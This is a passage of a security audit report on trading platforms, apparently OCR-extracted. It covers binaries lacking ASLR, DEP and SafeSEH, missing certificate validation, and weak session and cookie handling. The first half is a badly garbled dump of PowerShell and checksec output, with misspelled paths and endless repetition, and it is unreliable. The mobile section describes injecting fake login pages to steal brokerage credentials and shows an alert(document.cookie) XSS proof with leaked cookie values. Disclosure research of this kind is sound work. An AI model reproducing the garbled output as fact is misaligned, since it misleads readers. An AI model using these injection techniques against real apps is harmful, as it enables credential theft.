C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upped.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upped.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upped.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4
C:\Program Files (x86)\Common Files\Interactive Data\DM\proxyd11.dll       1386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DM\mroxyd11.dll       1386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DM\mroxyd11.dll       1386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\actscll       1386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Tr\2.0.4785.825\ArtSRIDNDAEL.DLL       1386       False False       Fa
C:\Program Files (x86)\Common Files\Interactive Data\DM\msvcrt.dll       I386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DM\msvcrt.dll       I386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\REIGHT       I386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\RIJNDAEL.DLL       I386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\RIJNDAEL.DLL       I386       False False       False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\RIJNDAEL.DLL       I386       False False       False <t< td=""></t<>
C:\Program Files (x86)\Common Files\Interactive Data\DM\mfc42.dll I386 False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\acc.dll I386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\acc.dll I386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\ACCAPTEL_DL I386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\ACCAPTEL_DL I386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Tr\2.0.4785.825\IndiEft.dll I386 False False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False Fals
C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\acts.cll 1386 False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\RIJNDALL.DL 1386 False False False K86)\Common Files\Interactive Data\Trading Plugins\Tr12.0.4785.825\RIJNDALL.DL 1386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Tr2.0.4785.825\RIJNDALL.DL 1386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Tr2.0.4785.825\RIJNDALL.DL 1386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Tr2.0.4785.825\Intift.dl 1386 False False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upperts.cll 1386 False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upperts.cll 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upperts.cll 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\upperts.cll 1386 False
C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\RTMDAEL.DLL 1386 False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\RTMSRI.dll 1386 False False False K86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\RTMSRI.dll 1386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIEft.dll 1386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIEft.dll 1386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIEft.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFT.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOreXCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOREXCall 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOREXCall 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOREXCall 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FT\2.0.4785.825\IndIFOREXCall 1386 False False True
C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\FATSAPI.dll 1386 False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiEft.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiForexCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiKotAll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiKotAll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiKotAll 1386 False False False False False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiKotAll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\ET\2.0.4785.825\IndiKotAll 1386 False Fal
C:\Program Files (x86)\Common Files\Interactive Data\DM\implod.dll G:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiEft.dll I386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.
C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\Indiff.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\Indiff.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndifferedLambda C:\Frogram Files (x86)\Common Files\Interactive Data\Trad
C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\ubsec.dll 1386 False False C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiForexCom.dll 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\Stunnel\engines\cquarestime C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\Stunnel\engines\gata\cquarestime C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False False True C:\Program Files (x86)\SinjaTrader 8\Sin64\spice\' i Sort-Object -Property ARCH i Format-Table -Property FileName,ARCH,ASLR,DEP,SafeSEH AMD64 True False K/A
C:\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\EFX\2.0.4785.825\stunnel\engines\gmp.dll 1386 False False C:\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\EFX\2.0.4785.825\stunnel\engines\cmi.dl 1386 False False True C:\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\cmi.dl 1386 False False True C:\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\cmi.dl 1386 False False True C:\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\padicx.dl 1 386 False False f'use b'\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stundel\engins\Padicx.dl 1 386 False False f'use b'\Program Files (x86)\Common File>\Interactive Data\Trading Plugins\Fft\2.0.4785.825\IndiKB.dl 1 386 False False f'leName f'leName f'leName f'leName f'leName f'leName f'leName files (x86)\NinjaTrader 8\bin64\nsvcr90.dl 1 AMD64 True False N/A
C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\FfX\2.0.4785.825\IndiForexCom.dll 1386 False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiForexCom.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\call 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\got.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\got.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiKB.dll 1386 False False False True FS C:\Users\nitf\Us\Downloads> Get-FESecurity -recursive -directory 'C:\Frogram Files (x86)\NinjaTrader 8' { Where-Object (\$_ASLR -eq 'False e' -or \$DEF -eq 'False' -or \$SafeSEH -eq 'False') : Sort-Object -Property ARCH i Format-Table -Property FileName, ARCH, ASLR, DEP, SafeSEH FileName F:\Frogram Files (x86)\NinjaTrader 8\bin64\nsucr99.dll AND64 True False N/A
C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\chi.dl 1386 False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\capi.dl 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\pathcall 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\pathcall 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\pathcall 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\pathcall 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\stunnel\engines\pathcall 1386 False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\InterActive 210 C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\InterActive 210 C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\InterActive 210 C:\Program Files (x86)\Common Files\Interactive Para\Trading Plugins\Eft\2.0.4785.825\InterActive 210 C:\Program Files (x86)\NinjaTrader 8\sin64\nsucr99.dll Attrading Program Files (x86)\NinjaTrader 8\sin64\nsucr99.dll Attrading Files (x86)\NinjaTrader 8\sin64\nsucr99.dll Attrading False False N/A
C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.85\stunnel\engines\cap:.dll 1386 False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.85\stunnel\engines\gost.dll 1386 False False C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.85\stunnel\engines\gost.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.85\stunnel\engines\gost.dll 1386 False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.82\IndiMB.dll 1386 False False False False False False False True C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.82\IndiMB.dll 1386 False False False False False False False False False False False False False False False False FileName C:\Frogram Files (x86>\NinjaTrader 8\bin64\nsvcr90.dll AMD64 False False M/A E:\Frogram Files (x86>\NinjaTrader 8\bin64\nsvcr90.dll AMD64 False False M/A
C:\Program Files (x6)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\Stunne\\eqinns\gost.dl1 1386 False False C:\Program Files (x6)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den False False True C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndiME.den False False True Table False False True Table False False False FileName C:\Program Files (x86)\NinjaTrader 8\bin64\nsvcr90.dl1 AMD64 True False N/A
C:\Program Files (x6)\Common Files\Interactive Data\Trading Pidjims\EV2.0.4785.22\InditB.dll 1386 False Fire C:\Program Files (x6)\Common Files\Interactive Data\Trading Pidjims\EV2.0.4785.22\InditB.dll 1386 False Fire C:\Program Files (x6)\Common Files\Interactive Data\Trading Pidjims\EV2.0.4785.22\InditB.dll 1386 False Fire File \u00ed Common Files\U00ed Common Files\Interactive Data\Trading Pidjims\EV2.0.4785.22\InditB.dll 1386 False Fire File \u00ed Common Files\U00ed
C:\Program Files (x86)\Common Files(Interactive DataTrading Filghts(INTE)) 0 4788 62\Texture Files (x86)\NinjaTrader 8'   Where-Object (\$ASLR -eq 'False')  PS C:\Users\nitr@us\Downloads> Get-PESecurity -recursive -directory 'C:\Program Files (x86)\NinjaTrader 8'   Where-Object (\$ASLR -eq 'False')  FileName  C:\Program Files (x86)\NinjaTrader 8\bin64\nsvcr90.dll  AMD64 False N/A  C:\Program Files (x86)\NinjaTrader 8\bin64\nsvcr90.dll  AMD64 False N/A
PS C:\Users\nitr@us\Downloads> Get-PESecurity -recursive -directory 'C:\Program Files (x86>\NinjaTrader 8'   Where-Object (\$ASLR -eq 'Fals e' -or \$DEF -eq 'False' -or \$SafeSEH -eq 'False')   Sort-Object -Property RRCH   Format-Table -Property FileName,ARCH,ASLR,DEP,SafeSEH FileName C:\Program Files (x86>\NinjaTrader 8\bin64\nsvcr90.dll AMD64 True False N/A C:\Program Files (x86>\NinjaTrader 8\bin64\nsvcr90.dll AMD64 False False N/A
PS C:\Users\nitf@us\Downloads> Get-PESecurity -recursive -directory 'C:\Program Files (x86)\NinjaTrader 8'   Where-Object (\$ASLR -eq 'False')   Sort-Object -Property ARCH   Format-Table -Property FileName,ARCH,ASLR,DEP,SafeSEH FileName
<pre>rs C: Overs Chirpedes Solon loads / Get-resecurity freeursive for relet or y C: Crrogram Files (X86 / Ninjal Fader 8' i Where-Doject (3K3LR, DEP, SafeSEH e' - or \$DEF -eq 'False' - or \$SafeSEH -eq 'False' ; Sort-Object - Property ARCH ; Format-Table - Property FileName, ARCH, ASLR, DEP, SafeSEH FileName </pre>
FileNane C:\Program Files (x86)\NinjaTrader 8\bin64\msvcr90.dll AMD64 True False N/A C:\Program Files (x86)\NinjaTrader 8\bin64\pricehistorymgr.dll AMD64 False N/A
rlerane HKKH HSLK DEF SafeSEH C:\Program Files (x86)\NinjaIrader 8\bin64\msvcr90.dll AMD64 True False M/A C:\Program Files (x86)\NinjaIrader 8\bin64\pricehistorymgr.dll AMD64 False False N/A
C:\Program Files (x86)\NinjaTrader 8\bin64\msvcr90.dll AMD64 True False N/A C:\Program Files (x86)\NinjaTrader 8\bin64\pricehistorymgr.dll AMD64 False False N/A
G:\Program Files (x8b)\Ninjalrader 8\binb4\pricehistorymgr.dll HMDb4 False False N/H
C:\Pwogwam Files (x86)\NinjaTwadew 8\hin64\nwicehistowungw shim dll AMD64 False False N/A
C:\Program Files (x86)\Minjalrader 8\bin64:Log4cplus.dll AMD64 False False N/A
C: Program Files (x86->NinjaTrader 8>bin64\dbcapi_64UCB.dll AMD64 False False N/A
G. Vrogram Files (X86/NunjalFader 6/Sinb4/ForeXconnectSina.dl) HHD/9 False False M/H
C:\Program Files (x86)\NinjaTrader 8\bin64\AgileDotNetRT64Pro.dll AMD64 True False N/A
C:\Program Files (x86)\NinjaTrader 8\bin\AgileDotNetRT64Pro.dll AMD64 True False N/A
C: VProgram Files (x86) Vhinjalrader 8\bin64/ruxotsang/2_shin.dll AMD64 False False N/A
C: Program Files (x86>NinjaTrader 8\bin64\Specs.dll 1386 False False False
G:Vrrogram Files (X86)/Winjalrader 8/bin64/uncapi_008.dll 1306 False False False C:Program Files (X86)/Winjalrader 8/bin64/urpavdll.dll 1386 False False
C:\Program Files (x86)\NinjaTrader 8\bin64\Proxyd11_UC8.d11 I386 False False True
C: Vprogram Files (x86)NinjaTrader 8Nin64NtDDirect.dll 1386 False True True C: Vprogram Files (x86)NinjaTrader 9Nin64NtDDIPE DI 1386 False False False
C: Vpogram Files (x86) Vminjalrader 8 vbin64 (Metalib.dl) 1306 False False False
C: Program Files (x86) NinjaIrader 8 bin64 AgileDotNetRIPro.dll 1386 Irue False False
G:\Program Files (X86\NinjalPader 8\Din\log4cplus.dll 1386 False False Fue
C:\Program Files (x86)\NinjaTrader 8\bin\NtDirect.dll 1386 False True True
C: Vprogram Files (x86)NinjaTrader 8Nin/Metalih.dll 1386 False False False False C: Vprogram Files (x86)NinjaTrader 8Nin/Metalih.dll 1386 False False False False False False False False False Fa
Chorogram Files (x86)Ninjalrader 6.0inAgileDotteTPro.dll 1386 True False False
<ul> <li>Civrogran Files (x86)NinjaTrader 8\bin\fgliebletkEHPro.dll</li> <li>Civrogran Files (</li></ul>
C:\Program Files (x86)\NinjaIrader 8\bin\finglikerHetMFPo.dll 1386 False False C:\Program Files (x86)\NinjaIrader 8\bin\finglikerHetMFPo.dll 1386 False False C:\Program Files (x86)\NinjaIrader 8\bin\forexConnectShim.dll 1386 False False False C:\Program Files (x86)\NinjaIrader 8\bin\forexConnectShim.dll 1386 False False False False
C:NFrogram Files (x66>Nhinjalrader 8\bin\from toll toll toll toll toll toll toll to
<ul> <li>CivProgram Files (x86&gt;NinjaTrader 8bin/NgileDothetRTro.dll</li> <li>CivProgram Files (x86&gt;NinjaTrader 8bin/Ntplib.dll</li> <li>CivProgram Files (x86&gt;NinjaTrader 8bin/Ntplib.dlthetR1.dll</li> <li>CivProgram Files (x86&gt;NinjaTrader 8bin/Ntplib.dlthetR1.dll)</li> <li>CivProg</li></ul>
C: NProgram Files (x86)Ninjalrader 8/bin/96120DeWetBTro.dll 1386 True False False C: Nprogram Files (x86)Ninjalrader 8/bin/Ftplib/dll 1386 False False False False C: Nprogram Files (x86)Ninjalrader 8/bin/SprexConnectShim.dll 1386 False False False C: Nprogram Files (x86)Ninjalrader 8/bin/Spres.dll 1386 False False False C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 False False False C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 True True False C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 True True False C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 True True False C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 False False False - C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1386 False - C: Nprogram Files (x86)Ninjalrader 8/bin/96120DeWetBT.dll 1380 False -
C: Vhogram       Files       X365       Winjalrader       0-bin vhilp_outpettro.dll       1365       False       False         C: Vhogram       Files       X465       Winjalrader       0-bin vhilp_outpettro.dll       1365       False       False         C: Vhogram       Files       X465       Winjalrader       0-bin vhilp_outpettro.dll       1365       False       False         C: Vhogram       Files       X465       Winjalrader       0-bin vhilp_outpettro.dll       1365       False

Linux applications have similar protections. **IQ Option** for Linux does not enforce all of them on certain binaries.

nitrOus@ubuntu:~\$ ./checksec.shdir /opt/iqoption/								
RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	FILE		
No RELRO	Canary found	NX enabled	No PIE	No RPATH		/opt/iqoption/crashsender		
No RELRO	Canary found	NX enabled	No PIE	No RPATH		/opt/iqoption/IQOption		
Partial REL	RO No canary found	NX enabled	DSO	No RPATH	No RUNPATH	/opt/iqoption/libc++.so.1		
nitr0us@ubu	ntu:~\$							

#### **Other Weaknesses**

Other minor issues found on this platform are:

• Unhandled exceptions thrown to the user interface: this might disclose internal states of the application and help reverse engineering. The user experience is affected too.



IB Gateway. API Account: bukow137 File Configure Help					
Connection Status ————————————————————————————————————					
Purpose					
Interactive Brokers API Server					
API Client					
🗹 Show log 🛛 🗹 Show API messages					
Log Client -1					
al jexterru.au.a(au.java.rua)					
at jextend.a5.b(a5.java:335)					
at jextend.cu.b(cu.java:343)					
at jextend.a5.p(a5.java:907)					
at jextend.dc(djava:466)					
at jextend.drun(djava:290)					
at java.lang.Thread.run(Unknown Source)					
2018-05-14 10:57:08.355 [AA] WARN [JTS-SocketListener-49] - Error					
wslaunch.jutils.SLogging\$Warning: API client version is missing.					
at twsIaunch.jutils.at.w(at.java:254)					
at jextend.drun(djava:292)					
at java.lang.Thread.run(Unknown Source)					
2018-05-14 10:57:18.646 [AA] INFO [JTS-SocketListener-49] - State: STOP, ISAPI: NO					
2018-05-14 10:57:18.647 [AA] ERROR [JTS-SocketListener-49] - Error parsing integer value	from header.				
java.lang.NumberFormatException: For input string: "; "					
at java.lang.NumberFormatException.forInputString(Unknown Source)					
at java.lang.Integer.parseInt(Unknown Source)					
at java.lang.Integer.parseInt(Unknown Source)					
at jextend.a5.p(a5.java:908)					
at jextend.dc(djava:466)					
at jextend.drun(djava:290)					
at java.lang.Thread.run(Unknown Source)					
2018-05-14 10:57:18.647 [AA] WARN [JTS-SocketListener-49] - Error					
twslaunch.jutils.SLogging\$Warning: API client version is missing.					
at twslaunch.jutils.at.w(at.java:254)					
at jextend.drun(djava:292)					
at java.lang.Thread.run(Unknown Source)					
2018-05-14 10:57:48.216 [AA] INFO [JTS-CCPDispatcherS2-33] - Setting time offset to -1210	6 diff -209				
Clea	ar				

# **Mobile-specific Vulnerabilities**

The following are some common vulnerabilities found in mobile apps.

# SSL Certificate Validation

**11 of the reviewed apps (32%) do not check the authenticity of the remote endpoint by verifying its SSL certificate;** therefore, it's feasible to perform *Man-in-the-Middle* (MiTM) attacks to eavesdrop on and tamper with data. Some MiTM attacks require to trick the user into installing a malicious certificate on their phones, though.

The ones that verify the certificate normally do not transmit any data, however, only **Charles Schwab** allows the user to use the app with the provided certificate:



# **Root Detection**

Many Android apps do not run on rooted devices for security reasons. On a rooted phone the user has full control of the system, hence, access to files, databases, and logs is complete, thus, it's easier to extract valuable information.

**27 Android apps (79%) do not detect rooted environments**. Only a few apps, such as **TD Ameritrade** and **Thinkorswim**, detect rooted phones but simply show a warning message and allow the user to keep using the platform normally:



### **Other Weaknesses**

Other minor issues found on mobile platforms are:

• **Client-side data validation not performed**: the web views implemented do not sanitize against injected HTML/JavaScript code.

For example, in the case of **Fidelity** and **Capital One** where partial MiTM was possible, malicious HTML code could be injected and rendered in the mobile app, such as the following fake login page to steal user's credentials:

× Fidelity.
THE USERNAME AND PASSWORD IS INCORRECT. TRY AGAIN PLEASE (FAKE LOGIN):
Username:
trader1337
Password:
•••••
Login

Capital One Investing" Done	
YOUR SESSION EXPIRED. PUT YOUR CREDENTIALS AGAIN PLEASE:	
Username: Password: Login	
E-TRADE rendering alert (document.cookie); in JavaSe	cript:
<ul> <li>***** TEP 2%26%3C%22M00meber/ce%3C%3C%22%75%</li> <li>22OffsitePlacemen%5C%22%2C%5C%</li> <li>22Unknown%5C%22%2C%5C%22Paid</li> <li>Search%5C%22%3A%5C%22Unknown</li> <li>%5C%22%7D%22%7D%7D; PBELLA=1 </li> <li>20170727.0 skins bella-nav bella2017-</li> <li>en_US.min.js ; et_segment=UCS- ST-</li> <li>CC- MOD- CIA-U IRA-N CSG- CT-;</li> <li>mmcore.tst=0.364; includesptab=n;</li> <li>_lang=es-MX;</li> <li>s_ppv=us.etrade.com%253Aaccounts%</li> <li>253Achangemyloginpassword%2C100</li> <li>%2C100%2C1461;</li> <li>LastSARCheckTime=1501525582898;</li> <li>LastUpdateTime=1501525582892;</li> <li>NextSARCheckMillis=30000;</li> <li>SessionExpirationTime=150152735289</li> <li>1;</li> <li>mmcore.et_funding=%7B%22brokerage</li> <li>%22%3A%7B%22value%22%3A%22CIA</li> </ul>	

# Web-specific Vulnerabilities

Web platforms are also very complete trading solutions, and the attack surface is large.

The following are some common vulnerabilities found in web platforms.

# Session Still Valid After Logout

Normally, when the logout button is pressed in an app, the session is finished on both sides: server and client. Usually the server deletes the session token from its valid session list and sends a new empty or random value back to the client to clear or overwrite the session token, so the client needs to reauthenticate next time.

In some web platforms such as **Yahoo! Finance, E-TRADE, Charles Schwab** and **Fidelity**, the session was still valid one hour after clicking the logout button. **Yahoo! Finance** fixed the vulnerability very quickly after reported.





# Session Cookies without Security Attributes

Regarding session cookies, the HttpOnly flag is a client-side control that tells the browser that the cookie's value cannot be read by JavaScript. Therefore, this flag helps to prevent client-side attacks such as XSS that access the value of the cookie. On the other hand, the Secure flag prevents cookies from being sent through an unencrypted HTTP request.

# In more than 50% of the web platforms one or both security attributes were missing when setting the session cookie(s).

## Lack of HTTP Security Headers

Some HTTP response headers help web applications increase their security. Once set, these headers can restrict modern browsers from running into easily preventable vulnerabilities.

The reviewed headers are:

• Strict-Transport-Security: HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797. A server implements an

